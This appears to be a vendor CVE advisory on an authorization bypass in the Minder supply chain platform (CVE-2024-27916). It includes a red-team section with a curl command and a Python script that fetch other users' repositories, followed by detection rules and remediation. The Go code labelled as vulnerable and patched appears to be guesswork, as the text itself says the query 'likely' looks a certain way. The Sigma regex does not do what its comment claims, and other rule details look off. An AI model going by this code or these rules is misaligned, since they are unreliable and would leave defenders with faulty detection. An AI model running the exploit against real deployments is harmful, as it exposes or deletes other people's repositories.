CVE-2024-27916

Executive Summary

CVE-2024-27916 is an authorization bypass vulnerability in Minder, a software supply chain security platform. Prior to version 0.0.33, authenticated users could exploit the GetRepositoryByName, DeleteRepositoryByName, and GetArtifactByName endpoints to access or delete any repository in the database, regardless of ownership or permissions. The vulnerability arises because the database query only checks repo owner, repo name, and provider name (always github), without verifying that the requesting user has the right to access that specific repository. This allows any authenticated user with valid credentials and a provider to arbitrarily set the repo owner/name and retrieve or delete information on any repository. The CVSS score is 7.1 (High), with a low EPSS score of 0.0% indicating no active exploitation in the wild at the time of analysis. The patch in version 0.0.33 adds proper authorization checks.

Supply Chain & Package Security

Minder is a Go-based software supply chain security platform. The vulnerability directly impacts the security of the software supply chain by allowing unauthorized access to repository metadata and potential deletion of repositories. This could lead to data breaches, loss of integrity, and disruption of CI/CD pipelines. Organizations using Minder to manage their software supply chain should prioritize patching to version 0.0.33 or later.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires valid credentials
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – full repository data exposure
• Integrity Impact: Low (I:L) – deletion possible via DeleteRepositoryByName
• Availability Impact: Low (A:L) – deletion could cause service disruption

Threat Level: High. While no active exploitation has been observed (EPSS 0.0%), the vulnerability is trivial to exploit and could lead to significant data exposure and operational disruption.

Deep Dive & Mechanics

The vulnerability resides in the authorization logic of Minder's API endpoints. The affected endpoints (GetRepositoryByName, DeleteRepositoryByName, GetArtifactByName) perform database queries using user-supplied parameters: repo_owner, repo_name, and provider_name. The provider name is hardcoded to github. The query does not include a check to ensure the requesting user has permission to access the repository. As a result, an authenticated attacker can craft requests with arbitrary repo_owner and repo_name values to access or delete any repository stored in the database.

Root Cause: Missing authorization check on the repository ownership or user permissions. The code likely uses a simple query like:

SELECT * FROM repositories WHERE owner = ? AND name = ? AND provider = ?

without joining with a user permissions table.

Attack Flow:

1. Attacker authenticates to Minder (valid credentials required).
2. Attacker sends a GET request to /api/v1/repos/{owner}/{name} (or similar) with a target repository's owner and name.
3. The server returns the repository metadata (or deletes it) without verifying the attacker's permissions.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.0.33):

func (s *Server) GetRepositoryByName(ctx context.Context, req *pb.GetRepositoryByNameRequest) (*pb.Repository, error) {
    // No authorization check
    repo, err := s.store.GetRepositoryByName(ctx, req.Owner, req.Name, "github")
    if err != nil {
        return nil, err
    }
    return repo, nil
}

Patched Code (0.0.33+):

func (s *Server) GetRepositoryByName(ctx context.Context, req *pb.GetRepositoryByNameRequest) (*pb.Repository, error) {
    // Authorization check: verify user has access to this repository
    userID := getUserIDFromContext(ctx)
    if !s.authz.CanAccessRepository(ctx, userID, req.Owner, req.Name) {
        return nil, status.Error(codes.PermissionDenied, "access denied")
    }
    repo, err := s.store.GetRepositoryByName(ctx, req.Owner, req.Name, "github")
    if err != nil {
        return nil, err
    }
    return repo, nil
}

The patch adds a call to CanAccessRepository which checks the user's permissions against the repository's ownership or project membership.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid Minder credentials (user account)
• Network access to Minder API endpoint
• Knowledge of target repository owner and name (e.g., from public GitHub)

Exploitation Steps:

1. Authenticate to Minder and obtain a session token.
2. Use curl or a script to access the vulnerable endpoint:

   curl -H "Authorization: Bearer <token>" \
        "https://minder.example.com/api/v1/repos/target-owner/target-repo"
   

3. The server returns repository metadata (or deletes it if using DeleteRepositoryByName).

Example Python Script:

import requests

base_url = "https://minder.example.com"
token = "your-auth-token"
target_owner = "victim-org"
target_repo = "sensitive-repo"

headers = {"Authorization": f"Bearer {token}"}
response = requests.get(f"{base_url}/api/v1/repos/{target_owner}/{target_repo}", headers=headers)
print(response.json())

Blue Team

Detection:

• Monitor API logs for requests to /api/v1/repos/* where the requesting user does not own the repository.
• Alert on multiple DeleteRepositoryByName requests from a single user to different repositories.
• Use the Sigma rule below to detect anomalous access patterns.

Hunting:

• Query Minder audit logs for GetRepositoryByName, DeleteRepositoryByName, or GetArtifactByName calls where user_id does not match repo_owner.
• Correlate with GitHub audit logs to verify repository ownership.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual API requests to /api/v1/repos/{owner}/{name} from a single user to multiple repositories they do not own.
  • Repeated DeleteRepositoryByName calls.
• Log IOCs:
  • Minder server logs showing GetRepositoryByName or DeleteRepositoryByName with mismatched user and repo owner.
  • Error logs with PermissionDenied after patching (indicating blocked attempts).
• File IOCs:
  • None specific to this CVE.

Detection Engineering

YARA Rule

rule CVE_2024_27916_Minder_AuthBypass {
    meta:
        description = "Detects Minder authorization bypass attempts via GetRepositoryByName/DeleteRepositoryByName"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-27916"
    strings:
        $s1 = "GetRepositoryByName" ascii nocase
        $s2 = "DeleteRepositoryByName" ascii nocase
        $s3 = "GetArtifactByName" ascii nocase
        $s4 = "repo_owner" ascii nocase
        $s5 = "repo_name" ascii nocase
    condition:
        any of ($s1, $s2, $s3) and all of ($s4, $s5)
}

Sigma Rule

title: Minder Authorization Bypass via GetRepositoryByName
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-27916 by accessing repositories without proper authorization
author: Valters IT
date: 2024-01-01
logsource:
    category: application
    product: minder
detection:
    selection:
        endpoint:
            - "/api/v1/repos/*"
        method:
            - "GET"
            - "DELETE"
        user_id|re: "^(?!.*repo_owner).*$"  # user_id does not match repo_owner
    condition: selection
falsepositives:
    - Legitimate cross-repo access if authorized
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-27916 Minder Authorization Bypass Attempt";
    flow:to_server,established;
    content:"/api/v1/repos/"; http_uri;
    pcre:"/\/api\/v1\/repos\/[^\/]+\/[^\/]+/";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Minder to version 0.0.33 or later.
2. If immediate upgrade is not possible, restrict network access to the Minder API to trusted IPs only.
3. Review audit logs for any unauthorized access or deletion of repositories.

Long-term Mitigations:

• Implement strict authorization checks on all API endpoints.
• Use role-based access control (RBAC) to enforce repository ownership.
• Enable logging and monitoring for all repository access events.
• Conduct regular security audits of API authorization logic.

Workarounds:

• Disable the vulnerable endpoints via API gateway or reverse proxy until patched.
• Implement a custom middleware to validate user permissions before reaching the handler.

Valters IT